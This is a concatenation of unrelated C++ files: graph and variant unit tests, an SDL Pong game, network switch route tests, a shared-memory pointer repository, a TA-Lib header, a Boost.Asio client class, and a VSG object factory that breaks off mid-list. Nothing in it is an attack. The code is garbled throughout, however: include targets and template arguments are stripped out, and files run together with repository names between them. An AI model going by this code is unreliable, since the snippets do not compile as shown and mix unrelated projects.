{ auto nodea = std::make_shared("a"); auto nodeb = std::make_shared("b"); auto nodec = std::make_shared("c"); auto noded = std::make_shared("d"); auto nodee = std::make_shared("e"); auto nodef = std::make_shared("f"); auto nodeg = std::make_shared("g"); auto nodeh = std::make_shared("h"); nodea->childNodes.insert(nodeb); nodeb->childNodes.insert(nodee); nodeb->childNodes.insert(nodec); nodeb->childNodes.insert(nodef); nodec->childNodes.insert(noded); nodec->childNodes.insert(nodeg); noded->childNodes.insert(nodec); noded->childNodes.insert(nodeh); nodee->childNodes.insert(nodea); nodee->childNodes.insert(nodef); nodef->childNodes.insert(nodeg); nodeg->childNodes.insert(nodef); nodeg->childNodes.insert(nodeh); nodeh->childNodes.insert(nodeh); TarjanGraph graph; graph.insert(nodea); graph.insert(nodeb); graph.insert(nodec); graph.insert(noded); graph.insert(nodee); graph.insert(nodef); graph.insert(nodeg); graph.insert(nodeh); TarjanCore coreSolver(graph); ASSERT_TRUE(coreSolver.solve()); auto solution = coreSolver.getSolution(); EXPECT_EQ(4, solution.size()); } njlr/mnmlstc-coretests/variant.cpp #include #include #include #include #include #include "catch.hpp" TEST_CASE("variant-constructors", "[variant][constructors]") { SECTION("default") { core::variant variant { }; CHECK(typeid(std::string) == variant.type()); } SECTION("value") { using variant_type = core::variant; variant_type string { "value-constructor" }; variant_type integer { 64u }; CHECK(string.type() == typeid(std::string)); CHECK(integer.type() == typeid(std::uint64_t)); CHECK(core::get<0>(string) == std::string { "value-constructor" }); CHECK(core::get<1>(integer) == 64u); } SECTION("move") { using variant_type = core::variant; variant_type variant { std::string { "move" } }; variant_type move { std::move(variant) }; CHECK(move.type() == typeid(std::string)); CHECK(core::get<0>(move) == std::string { "move" }); CHECK(core::get<0>(variant).empty()); } SECTION("copy") { using variant_type = core::variant; variant_type variant { 0.8 }; variant_type copy { variant }; CHECK(copy.type() == typeid(double)); CHECK(variant == copy); } } TEST_CASE("variant-assignment", "[variant][assignment]") { SECTION("value") { using variant_type = core::variant; std::string string { "value" }; double real { 0.6 }; variant_type first { }; variant_type second { }; first = string; CHECK(first.type() == typeid(std::string)); CHECK(core::get<0>(first) == string); second = real; CHECK(second.type() == typeid(double)); CHECK(core::get<1>(second) == real); } SECTION("move") { using variant_type = core::variant; variant_type variant { "move" }; variant_type move { 9.8 }; move = std::move(variant); CHECK(move.type() == typeid(std::string)); CHECK(core::get<0>(move) == std::string { "move" }); CHECK(core::get<0>(variant).empty()); } SECTION("copy") { using variant_type = core::variant; variant_type variant { 9.8 }; variant_type copy { }; copy = variant; CHECK(copy.type() == typeid(double)); CHECK(core::get<1>(copy) == 9.8); CHECK(copy == variant); } } TEST_CASE("variant-methods", "[variant][methods]") { SECTION("visit") { using variant_type = core::variant< std::uint64_t, std::string, std::vector >; variant_type vector { std::vector { 1, 2, 3 } }; struct visitor final { std::string operator ()(std::string const& str) const { return str; } std::string operator ()(std::uint64_t const& val) const { return std::to_string(val); } std::string operator ()(std::vector const& vec) const { auto value = vec.at(0) + vec.at(1) + vec.at(2); return std::to_string(value); } }; auto str = vector.visit(visitor { }); CHECK(str == "6"); } SECTION("match") { using variant_type = core::variant< std::uint64_t, std::string, std::vector >; variant_type vector { std::vector { "1", "2", "3" } }; variant_type string { std::string { "match" } }; variant_type integer { }; CHECK( vector.match( [](std::vector const&) { return true; }, [](std::uint64_t const&) { return false; }, [](std::string const&) { return false; } ) ); CHECK( integer.match( [](std::vector const&) { return false; }, [](std::uint64_t const&) { return true; }, [](std::string const&) { return false; } ) ); CHECK( string.match( [](std::vector const&) { return false; }, [](std::uint64_t const&) { return false; }, [](std::string const&) { return true; } ) ); } SECTION("index") { using variant_type = core::variant< std::uint64_t, std::string, std::vector >; variant_type vector { std::vector { "1", "2", "3" } }; variant_type string { std::string { "index" } }; variant_type integer { }; CHECK(integer.index() == 0u); CHECK(string.index() == 1u); CHECK(vector.index() == 2u); } SECTION("empty") { core::variant variant { }; CHECK_FALSE(variant.empty()); } SECTION("type") { using variant_type = core::variant< std::uint64_t, std::string, std::vector >; variant_type vector { std::vector { "1", "2", "3" } }; variant_type string { std::string { "type" } }; variant_type integer { }; CHECK(typeid(std::vector) == vector.type()); CHECK(typeid(std::uint64_t) == integer.type()); CHECK(typeid(std::string) == string.type()); } } TEST_CASE("variant-functions", "[variant][functions]") { #ifndef CORE_NO_EXCEPTIONS SECTION("get") { using variant_type = core::variant< std::uint64_t, std::string, std::vector >; variant_type const vector { std::vector { "1", "2", "3" } }; variant_type string { std::string { "get" } }; variant_type integer { static_cast(64) }; CHECK_THROWS_AS(core::get<0>(vector), core::bad_variant_get); CHECK(core::get<0>(core::move(integer)) == 64u); CHECK(core::get<1>(string) == "get"); CHECK(core::get<2>(vector)[0] == std::string { "1" }); CHECK(core::get<2>(vector)[1] == std::string { "2" }); CHECK(core::get<2>(vector)[2] == std::string { "3" }); } #endif /* CORE_NO_EXCEPTIONS */ SECTION("get-ptr") { using variant_type = core::variant< std::uint64_t, std::string, std::vector >; variant_type const vector { std::vector { "1", "2", "3" } }; variant_type string { std::string { "get" } }; variant_type integer { static_cast(64) }; CHECK_FALSE(core::get<0>(&vector)); CHECK(*core::get<0>(&integer) == 64u); CHECK(*core::get<1>(&string) == "get"); CHECK((*core::get<2>(&vector))[0] == std::string { "1" }); CHECK((*core::get<2>(&vector))[1] == std::string { "2" }); CHECK((*core::get<2>(&vector))[2] == std::string { "3" }); } SECTION("get-type") { using variant_type = core::variant< std::uint64_t, std::string, std::vector >; variant_type const vector { std::vector { "1", "2", "3" } }; variant_type string { std::string { "get" } }; variant_type integer { static_cast(64) }; CHECK_THROWS_AS(core::get<0>(vector), core::bad_variant_get); CHECK(core::get(core::move(integer)) == 64u); CHECK(core::get(string) == "get"); CHECK(core::get>(vector)[0] == "1"); CHECK(core::get>(vector)[1] == "2"); CHECK(core::get>(vector)[2] == "3"); } SECTION("swap") { using std::swap; using variant_type = core::variant; variant_type lhs_str { std::string { "lhs" } }; variant_type rhs_str { std::string { "rhs" } }; variant_type lhs { 0.8 }; swap(lhs_str, rhs_str); CHECK(core::get<0>(lhs_str) == std::string { "rhs" }); CHECK(core::get<0>(rhs_str) == std::string { "lhs" }); swap(lhs, rhs_str); CHECK(lhs.type() == typeid(std::string)); CHECK(rhs_str.type() == typeid(double)); CHECK(core::get<0>(lhs) == std::string { "lhs" }); CHECK(core::get<1>(rhs_str) == 0.8); } SECTION("hash") { using variant_type = core::variant; using unordered_map = std::unordered_map; unordered_map map; map[variant_type { "hash" }] = 9; map[variant_type { 9.8 }] = 12; CHECK(map[variant_type { "hash" }] == 9); CHECK(map[variant_type { 9.8 }] == 12); } } TEST_CASE("variant-operators", "[variant][operators]") { SECTION("equality") { using variant_type = core::variant< std::string, double >; variant_type lhs { std::string { "equality-comparable" } }; variant_type rhs { std::string { "equality-comparable" } }; variant_type frhs { 0.7 }; CHECK(lhs == rhs); CHECK_FALSE(lhs == frhs); } SECTION("less-than") { using variant_type = core::variant< std::string, double >; variant_type lhs { 0.2 }; variant_type rhs { 0.4 }; variant_type frhs { std::string { "less-than-comaprable" } }; CHECK(lhs < rhs); CHECK_FALSE(lhs < frhs); } } TEST_CASE("variant-issues", "[variant][issues]") { SECTION("issue-23") { struct A { }; struct B { }; using variant_type = core::variant; auto foo = [] () -> variant_type { return A { }; }; auto bar = [] () -> variant_type { return B { }; }; auto const a = foo(); auto const b = bar(); auto const c = a; CHECK(a.index() == 0u); CHECK(b.index() == 1u); } SECTION("issue-25") { struct A { A (int) { } }; struct B { B (double) { } }; using variant_type = core::variant; variant_type variant { B { 0.0 } }; CHECK(variant.index() == 1u); } } zalfar/Chick-N-Duck #include "Pong.h" #include #include SDL_Window* windows = NULL; SDL_AudioSpec wavSpec; Uint32 wavLength; Uint8* wavBuffer; bool Pong::Init(SDL_Renderer* renderer) { //Menginisialisasi Paddle, Bola dan Score ThePlayers[0].init(); ThePlayers[0].SetSide(Player::Side_Left); ThePlayers[1].init(); ThePlayers[1].SetSide(Player::Side_Right); TheBall.init(); Score[0] = 0; Score[1] = 0; debugPrinter = new DebugPrinter(); debugPrinter->Init(renderer); return true; } bool Pong::Update() { SDL_Init(SDL_INIT_AUDIO); SDL_Window* window = NULL; if (TheBall.IsOutOfBounds() == true) { Player::Side serveTo = Player::Side_Undefined; if (TheBall.OutOfBoundsSide() == Player::Side_Left) // Jika Bola mengenai sisi kiri { SDL_LoadWAV("Sound/Chicken.wav", &wavSpec, &wavBuffer, &wavLength); SDL_AudioDeviceID deviceId = SDL_OpenAudioDevice(NULL, 0, &wavSpec, NULL, 0); int success = SDL_QueueAudio(deviceId, wavBuffer, wavLength); SDL_PauseAudioDevice(deviceId, 0); Score[1]++;// Menambah nilai sebeblah kanan serveTo = Player::Side_Left; if (Score[1] == 8) { SDL_LoadWAV("Sound/PlayerTwo.wav", &wavSpec, &wavBuffer, &wavLength); SDL_AudioDeviceID deviceId = SDL_OpenAudioDevice(NULL, 0, &wavSpec, NULL, 0); int success = SDL_QueueAudio(deviceId, wavBuffer, wavLength); SDL_PauseAudioDevice(deviceId, 0); SDL_Delay(4000); SDL_DestroyWindow(window); SDL_Quit(); } } if (TheBall.OutOfBoundsSide() == Player::Side_Right) { SDL_LoadWAV("Sound/Duck.wav", &wavSpec, &wavBuffer, &wavLength); SDL_AudioDeviceID deviceId = SDL_OpenAudioDevice(NULL, 0, &wavSpec, NULL, 0); int success = SDL_QueueAudio(deviceId, wavBuffer, wavLength); SDL_PauseAudioDevice(deviceId, 0); Score[0]++; // Menambah nilai sebelah Kiri serveTo = Player::Side_Right; if (Score[0] == 8) { SDL_LoadWAV("Sound/PlayerOne.wav", &wavSpec, &wavBuffer, &wavLength); SDL_AudioDeviceID deviceId = SDL_OpenAudioDevice(NULL, 0, &wavSpec, NULL, 0); int success = SDL_QueueAudio(deviceId, wavBuffer, wavLength); SDL_PauseAudioDevice(deviceId, 0); SDL_Delay(4000); SDL_DestroyWindow(window); SDL_Quit(); } } TheBall.init(); TheBall.ServeTo(serveTo); } else { if (((TheBall.IsColliding(ThePlayers[0]) == true) && (TheBall.IsGoingTo() == Player::Side_Left)) || ((TheBall.IsColliding(ThePlayers[1]) == true) && (TheBall.IsGoingTo() == Player::Side_Right)) ) { TheBall.PlayerReturns(); } ThePlayers[0].Move(); ThePlayers[1].Move(); } TheBall.Move(); return true; } bool Pong::Draw(SDL_Renderer* renderer) { SDL_SetRenderDrawColor(renderer, 255, 0, 0, 255); SDL_RenderClear(renderer); SDL_Rect rect; rect.x = 0; rect.y = 0; rect.w = 800; rect.h = 600; SDL_SetRenderDrawColor(renderer, 0, 255, 0, 0);//Mengatur Warna Papan SDL_RenderFillRect(renderer, &rect); DrawCourt(renderer); ThePlayers[0].Render(renderer); ThePlayers[1].Render(renderer); TheBall.Render(renderer); char str[255]; sprintf(str, "%d - %d", Score[0], Score[1]); debugPrinter->SetScale(8, 8); //Mengatur Besar Score debugPrinter->SetJustification(DebugPrinter::Justifiy_Centre); // Mengatur letak Score debugPrinter->Print(renderer, 400, 20, RGBTOCOLOR(0, 0, 0), str); //Mengatur Warna Score debugPrinter->SetScale(0.001, 1); debugPrinter->SetJustification(DebugPrinter::Justifiy_Left); return true; } bool Pong::Shutdown() { return true; } void Pong::DrawCourt(SDL_Renderer* renderer) //Mengatur Garis Papan { SDL_Rect rect; rect.x = 0; rect.y = 100; rect.w = 800; rect.h = 10; SDL_SetRenderDrawColor(renderer, 0, 0, 0, 255); SDL_RenderFillRect(renderer, &rect); rect.x = 0; rect.y = 590; rect.w = 800; rect.h = 10; SDL_SetRenderDrawColor(renderer, 0, 0, 0, 255); SDL_RenderFillRect(renderer, &rect); rect.x = 395; rect.y = 100; rect.w = 10; rect.h = 600; SDL_SetRenderDrawColor(renderer, 0, 0, 0, 255); SDL_RenderFillRect(renderer, &rect); }/* * Copyright (c) 2004-present, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. * */ #include "fboss/agent/ApplyThriftConfig.h" #include "fboss/agent/hw/mock/MockPlatform.h" #include "fboss/agent/test/HwTestHandle.h" #include "fboss/agent/test/RouteDistributionGenerator.h" #include "fboss/agent/test/RouteGeneratorTestUtils.h" #include "fboss/agent/test/TestUtils.h" #include namespace facebook::fboss { TEST(RouteDistributionGeneratorsTest, v4AndV6DistributionSingleChunk) { auto cfg = getTestConfig(); auto handle = createTestHandle(&cfg); auto routeDistributionSwitchStatesGen = utility::RouteDistributionGenerator( handle->getSw()->getState(), { {65, 5}, {127, 5}, }, { {25, 5}, {32, 5}, }, 4000, 2); verifyRouteCount(routeDistributionSwitchStatesGen, kExtraRoutes, 20); verifyChunking(routeDistributionSwitchStatesGen, 20, 4000); } TEST(RouteDistributionGeneratorsTest, v4AndV6DistributionMultipleChunks) { auto cfg = getTestConfig(); auto handle = createTestHandle(&cfg); auto routeDistributionSwitchStatesGen = utility::RouteDistributionGenerator( handle->getSw()->getState(), { {65, 5}, {127, 5}, }, { {25, 5}, {32, 5}, }, 10, 2); verifyRouteCount(routeDistributionSwitchStatesGen, kExtraRoutes, 20); verifyChunking(routeDistributionSwitchStatesGen, 20, 10); } TEST( RouteDistributionGeneratorsTest, v4AndV6DistributionChunksSpillOverMaskLens) { auto cfg = getTestConfig(); auto handle = createTestHandle(&cfg); auto routeDistributionSwitchStatesGen = utility::RouteDistributionGenerator( handle->getSw()->getState(), { {65, 3}, {127, 5}, }, { {25, 3}, {32, 7}, }, 4, 2); verifyRouteCount(routeDistributionSwitchStatesGen, kExtraRoutes, 18); verifyChunking(routeDistributionSwitchStatesGen, 18, 4); } TEST( RouteDistributionGeneratorsTest, v4AndV6DistributionChunksSpillOverAddressFamilies) { auto cfg = getTestConfig(); auto handle = createTestHandle(&cfg); auto routeDistributionSwitchStatesGen = utility::RouteDistributionGenerator( handle->getSw()->getState(), { {65, 5}, {127, 6}, }, { {25, 4}, {32, 5}, }, 5, 2); verifyRouteCount(routeDistributionSwitchStatesGen, kExtraRoutes, 20); verifyChunking(routeDistributionSwitchStatesGen, 20, 5); } TEST(RouteDistributionGeneratorsTest, emptyV4Distribution) { auto cfg = getTestConfig(); auto handle = createTestHandle(&cfg); auto routeDistributionSwitchStatesGen = utility::RouteDistributionGenerator( handle->getSw()->getState(), { {65, 5}, }, {}, 5, 2); verifyRouteCount(routeDistributionSwitchStatesGen, kExtraRoutes, 5); verifyChunking(routeDistributionSwitchStatesGen, 5, 5); } TEST(RouteDistributionGeneratorsTest, emptyV6Distribution) { auto cfg = getTestConfig(); auto handle = createTestHandle(&cfg); auto routeDistributionSwitchStatesGen = utility::RouteDistributionGenerator( handle->getSw()->getState(), {}, {{24, 5}}, 5, 2); verifyRouteCount(routeDistributionSwitchStatesGen, kExtraRoutes, 5); verifyChunking(routeDistributionSwitchStatesGen, 5, 5); } TEST(RouteDistributionGeneratorsTest, emptyV4AndV6Distribution) { auto cfg = getTestConfig(); auto handle = createTestHandle(&cfg); auto routeDistributionSwitchStatesGen = utility::RouteDistributionGenerator( handle->getSw()->getState(), {}, {}, 5, 2); verifyRouteCount(routeDistributionSwitchStatesGen, kExtraRoutes, 0); verifyChunking(routeDistributionSwitchStatesGen, 0, 5); } } // namespace facebook::fboss // Copyright (c) 2019 by . All rights reserved. // Copyright (c) 2021 by Apex.AI Inc. All rights reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // // SPDX-License-Identifier: Apache-2.0 #ifndef IOX_HOOFS_RELOCATABLE_POINTER_POINTER_REPOSITORY_INL #define IOX_HOOFS_RELOCATABLE_POINTER_POINTER_REPOSITORY_INL #include "iceoryx_hoofs/internal/relocatable_pointer/pointer_repository.hpp" namespace iox { namespace rp { template inline PointerRepository::PointerRepository() noexcept : m_info(CAPACITY) { } template inline bool PointerRepository::registerPtr(id_t id, ptr_t ptr, uint64_t size) noexcept { if (id > MAX_ID) { return false; } if (m_info[id].basePtr == nullptr) { m_info[id].basePtr = ptr; m_info[id].endPtr = reinterpret_cast(reinterpret_cast(ptr) + size - 1U); if (id > m_maxRegistered) { m_maxRegistered = id; } return true; } return false; } template inline id_t PointerRepository::registerPtr(const ptr_t ptr, uint64_t size) noexcept { for (id_t id = 1U; id <= MAX_ID; ++id) { if (m_info[id].basePtr == nullptr) { m_info[id].basePtr = ptr; m_info[id].endPtr = reinterpret_cast(reinterpret_cast(ptr) + size - 1U); if (id > m_maxRegistered) { m_maxRegistered = id; } return id; } } return INVALID_ID; } template inline bool PointerRepository::unregisterPtr(id_t id) noexcept { if (id <= MAX_ID && id >= MIN_ID) { if (m_info[id].basePtr != nullptr) { m_info[id].basePtr = nullptr; /// @note do not search for next lower registered index but we could do it here return true; } } return false; } template inline void PointerRepository::unregisterAll() noexcept { for (auto& info : m_info) { info.basePtr = nullptr; } m_maxRegistered = 0U; } template inline ptr_t PointerRepository::getBasePtr(id_t id) const noexcept { if (id <= MAX_ID && id >= MIN_ID) { return m_info[id].basePtr; } /// @note for id 0 nullptr is returned, meaning we will later interpret a relative pointer by casting the offset /// into a pointer (i.e. we measure relative to 0) /// @note we cannot distinguish between not registered and nullptr registered, but we do not need to return nullptr; } template inline id_t PointerRepository::searchId(ptr_t ptr) const noexcept { for (id_t id = 1U; id <= m_maxRegistered; ++id) { // return first id where the ptr is in the corresponding interval if (ptr >= m_info[id].basePtr && ptr <= m_info[id].endPtr) { return id; } } /// @note implicitly interpret the pointer as a regular pointer if not found /// by setting id to 0 /// rationale: test cases work without registered shared memory and require /// this at the moment to avoid fundamental changes return 0U; // return INVALID_ID; } template inline bool PointerRepository::isValid(id_t id) const noexcept { return id != INVALID_ID; } template inline void PointerRepository::print() const noexcept { for (id_t id = 0U; id < m_info.size(); ++id) { auto ptr = m_info[id].basePtr; if (ptr != nullptr) { std::cout << id << " ---> " << ptr << std::endl; } } } } // namespace rp } // namespace iox #endif // IOX_HOOFS_RELOCATABLE_POINTER_POINTER_REPOSITORY_INL /* TA-LIB Copyright (c) 1999-2007, * All rights reserved. * * Redistribution and use in source and binary forms, with or * without modification, are permitted provided that the following * conditions are met: * * - Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * - Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * - Neither name of author nor the names of its contributors * may be used to endorse or promote products derived from this * software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * REGENTS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* List of contributors: * * Initial Name/description * ------------------------------------------------------------------- * MF * * * Change history: * * MMDDYY BY Description * ------------------------------------------------------------------- * 050703 MF First version with all the TA functions. */ #include "stdafx.h" #include "TA-Lib-Core.h" 0 #pragma once #include namespace cys { namespace comm { namespace app { template class Client { public: Client(Context* ctx) : m_mutex() , m_sckMtx() , m_context(ctx) , m_port(0) , m_listeners() , m_socket(nullptr) , m_buffer() , m_isConnecting(false) {} ~Client() { destroy(); } Client(const Client& client) = delete; Client(Client&& client) noexcept : m_mutex() , m_sckMtx() { std::unique_lock lock(client.m_mutex); std::unique_lock lk(client.m_sckMtx); m_context = std::move(client.m_context); m_port = std::move(client.m_port); m_listeners = std::move(client.m_listeners); m_socket = std::move(client.m_socket); m_buffer = std::move(client.m_buffer); m_isConnecting = client.m_isConnecting.load(std::memory_order::memory_order_seq_cst); } Client& operator=(const Client& client) = delete; Client& operator=(Client&& client) noexcept { if (this != &client) { std::unique_lock lk1(client.m_mutex, std::defer_lock); std::unique_lock lk2(m_mutex, std::defer_lock); std::unique_lock lk3(client.m_sckMtx, std::defer_lock); std::unique_lock lk4(m_sckMtx, std::defer_lock); std::lock(lk1, lk2, lk3, lk4); m_context = std::move(client.m_context); m_port = std::move(client.m_port); m_listeners = std::move(client.m_listeners); m_socket = std::move(client.m_socket); m_buffer = std::move(client.m_buffer); m_isConnecting = client.m_isConnecting.load(std::memory_order::memory_order_seq_cst); } return *this; } public: inline bool addListener(Transport::Listener* listener) { if (std::find(m_listeners.cbegin(), m_listeners.cend(), listener) != m_listeners.cend()) return false; m_listeners.emplace_back(listener); return true; } inline bool deleteListener(Transport::Listener* listener) { auto exist = std::find(m_listeners.begin(), m_listeners.end(), listener); if (exist == m_listeners.cend()) return false; *exist = std::move(m_listeners.back()); m_listeners.pop_back(); return true; } public: inline bool create() { return create(0); } bool create(uint16_t port) { std::unique_lock lock(m_mutex); m_port = port; m_socket = std::make_unique(m_context->getContext(), Transport::endpoint(Transport::v4(), m_port)); return true; } bool connect(const char* address, uint16_t port) { std::unique_lock lock(m_mutex); if (m_socket.get() == nullptr) return false; if (m_isConnecting.load(std::memory_order::memory_order_seq_cst)) return false; if (port <= 0) return false; m_socket->connect(Transport::endpoint(boost::asio::ip::address::from_string(address), port)); m_isConnecting.store(true, std::memory_order::memory_order_seq_cst); for (auto& listener : m_listeners) { if (listener != nullptr) listener->onClientConnected(); } return true; } inline bool connect(const std::string& address, uint16_t port) { return connect(address.c_str(), port); } bool connectAsync(const char* address, uint16_t port) { std::unique_lock lock(m_mutex); if (m_socket.get() == nullptr) return false; if (m_isConnecting.load(std::memory_order::memory_order_seq_cst)) return false; if (port <= 0) return false; m_socket->async_connect(Transport::endpoint(boost::asio::ip::address::from_string(address), port), [this](const boost::system::error_code& e) { if (!e) { m_isConnecting.store(true, std::memory_order::memory_order_seq_cst); for (auto& listener : m_listeners) { if (listener != nullptr) listener->onClientConnected(); } } else { for (auto& listener : m_listeners) { if (listener != nullptr) listener->onClientDisconnected(e); } } }); return true; } inline bool connectAsync(const std::string& address, uint16_t port) { return connectAsync(address.c_str(), port); } template bool send(Data&& data) { std::shared_lock lock(m_mutex); if (m_socket.get() == nullptr) return false; if (!m_isConnecting.load(std::memory_order::memory_order_seq_cst)) return false; try { m_socket->send(boost::asio::buffer(std::forward(data))); } catch (boost::system::system_error& e) { e.code(); return false; } return true; } template bool sendAsync(Data&& data) { std::shared_lock lock(m_mutex); if (m_socket.get() == nullptr) return false; if (!m_isConnecting.load(std::memory_order::memory_order_seq_cst)) return false; m_socket->async_send(boost::asio::buffer(std::forward(data)), [this](const boost::system::error_code& e, std::size_t transferred) { for (auto& listener : m_listeners) { if (listener != nullptr) listener->onClientSent(e); } }); return true; } template >::type* = nullptr> inline bool sendToBroadCast(uint16_t port, Data&& data) { std::shared_lock lock(m_mutex); auto socket = Transport::socket(m_context->getContext()); socket.open(Transport::v4()); socket.set_option(boost::asio::socket_base::broadcast(true)); socket.send_to(boost::asio::buffer(std::forward(data)), Transport::endpoint(boost::asio::ip::address_v4::broadcast(), port)); return true; } template >::type* = nullptr> bool sendTo(Address&& address, uint16_t port, Data&& data) { std::shared_lock lock(m_mutex); auto socket = Transport::socket(m_context->getContext()); socket.open(Transport::v4()); socket.send_to(boost::asio::buffer(std::forward(data)), Transport::endpoint(boost::asio::ip::address::from_string(std::forward
(address)), port)); return true; } template >::type* = nullptr> bool sendToAsync(Address&& address, uint16_t port, Data&& data) { std::shared_lock lock(m_mutex); auto socket = Transport::socket(m_context->getContext()); socket.open(Transport::v4()); socket.async_send_to(boost::asio::buffer(std::forward(data)), Transport::endpoint(boost::asio::ip::address::from_string(std::forward
(address)), port), [this](const boost::system::error_code& e, std::size_t transferred) { for (auto& listener : m_listeners) { if (listener != nullptr) listener->onClientSentTo(e); } }); return true; } template bool receive(Data&& data) { std::shared_lock lock(m_mutex); if (m_socket.get() == nullptr) return false; if (!m_isConnecting.load(std::memory_order::memory_order_seq_cst)) return false; auto size = m_socket->receive(boost::asio::buffer(std::forward(data))); return true; } template >::type* = nullptr> Transport::endpoint receiveFrom(uint16_t port, Data&& data) { std::shared_lock lock(m_mutex); auto socket = Transport::socket(m_context->getContext(), Transport::endpoint(Transport::v4(), port)); Transport::endpoint ep; socket.receive_from(boost::asio::buffer(data), ep); return ep; } bool receiveAsync() { std::unique_lock lock(m_mutex); if (m_socket.get() == nullptr) return false; if (!m_isConnecting.load(std::memory_order::memory_order_seq_cst)) return false; startReceiveAsync(); return true; } bool disconnect() { std::shared_lock lock(m_mutex); if (m_socket.get() == nullptr) return true; if (!m_isConnecting.load(std::memory_order::memory_order_seq_cst)) return true; m_isConnecting.store(false, std::memory_order::memory_order_seq_cst); boost::system::error_code ec; m_socket->shutdown(Transport::socket::shutdown_both, ec); if (m_socket->is_open()) m_socket->close(); for (auto& listener : m_listeners) { if (listener != nullptr) listener->onClientDisconnected(boost::system::error_code()); } return true; } bool destroy() { disconnect(); { std::unique_lock lock(m_sckMtx); m_socket.reset(nullptr); } return true; } inline bool isConnecting() { return m_isConnecting.load(std::memory_order::memory_order_seq_cst); } private: void startReceiveAsync() { std::unique_lock lock(m_sckMtx); if (m_socket.get() != nullptr) { m_socket->async_receive(boost::asio::buffer(m_buffer), [this](const boost::system::error_code& err, std::size_t transferred) { if (!err && m_isConnecting.load(std::memory_order::memory_order_seq_cst)) { for (auto& listener : m_listeners) { if (listener != nullptr) listener->onClientReceived(err, m_buffer); } startReceiveAsync(); } for (auto& listener : m_listeners) { if (listener != nullptr) listener->onClientError(err); } }); } } private: mutable std::shared_mutex m_mutex; mutable std::recursive_mutex m_sckMtx; cys::comm::Context* m_context; private: uint16_t m_port; std::vector m_listeners; std::unique_ptr m_socket; std::array m_buffer; private: std::atomic m_isConnecting; }; } } }/* Copyright(c) 2018 Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include using namespace vsg; #define VSG_REGISTER_new(ClassName) _createMap[#ClassName] = []() { return ref_ptr(new ClassName()); } #define VSG_REGISTER_create(ClassName) _createMap[#ClassName] = []() { return ClassName::create(); } ref_ptr& ObjectFactory::instance() { // declare the ObjectFactory singleton as static to be initialized on first invocation of the instance() method. Note, this currently assumes that initialization won't be mult-threaded. static ref_ptr s_ObjectFactory(new ObjectFactory); return s_ObjectFactory; } ObjectFactory::ObjectFactory() { _createMap["nullptr"] = []() { return ref_ptr(); }; VSG_REGISTER_new(vsg::Object); VSG_REGISTER_new(vsg::Objects); VSG_REGISTER_new(vsg::External); // values VSG_REGISTER_new(vsg::stringValue); VSG_REGISTER_new(vsg::boolValue); VSG_REGISTER_new(vsg::intValue); VSG_REGISTER_new(vsg::uintValue); VSG_REGISTER_new(vsg::floatValue); VSG_REGISTER_new(vsg::doubleValue); VSG_REGISTER_new(vsg::vec2Value); VSG_REGISTER_new(vsg::vec3Value); VSG_REGISTER_new(vsg::vec4Value); VSG_REGISTER_new(vsg::dvec2Value); VSG_REGISTER_new(vsg::dvec3Value); VSG_REGISTER_new(vsg::dvec4Value); VSG_REGISTER_new(vsg::ubvec2Value); VSG_REGISTER_new(vsg::ubvec3Value); VSG_REGISTER_new(vsg::ubvec4Value); VSG_REGISTER_new(vsg::usvec2Value); VSG_REGISTER_new(vsg::usvec3Value); VSG_REGISTER_new(vsg::usvec4Value); VSG_REGISTER_new(vsg::uivec2Value); VSG_REGISTER_new(vsg::uivec3Value); VSG_REGISTER_new(vsg::uivec4Value); VSG_REGISTER_new(vsg::mat4Value); VSG_REGISTER_new(vsg::dmat4Value); VSG_REGISTER_new(vsg::materialValue); // arrays VSG_REGISTER_new(vsg::byteArray); VSG_REGISTER_new(vsg::ubyteArray); VSG_REGISTER_new(vsg::shortArray); VSG_REGISTER_new(vsg::ushortArray); VSG_REGISTER_new(vsg::intArray); VSG_REGISTER_new(vsg::uintArray); VSG_REGISTER_new(vsg::floatArray); VSG_REGISTER_new(vsg::doubleArray); VSG_REGISTER_new(vsg::vec2Array); VSG_REGISTER_new(vsg::vec3Array); 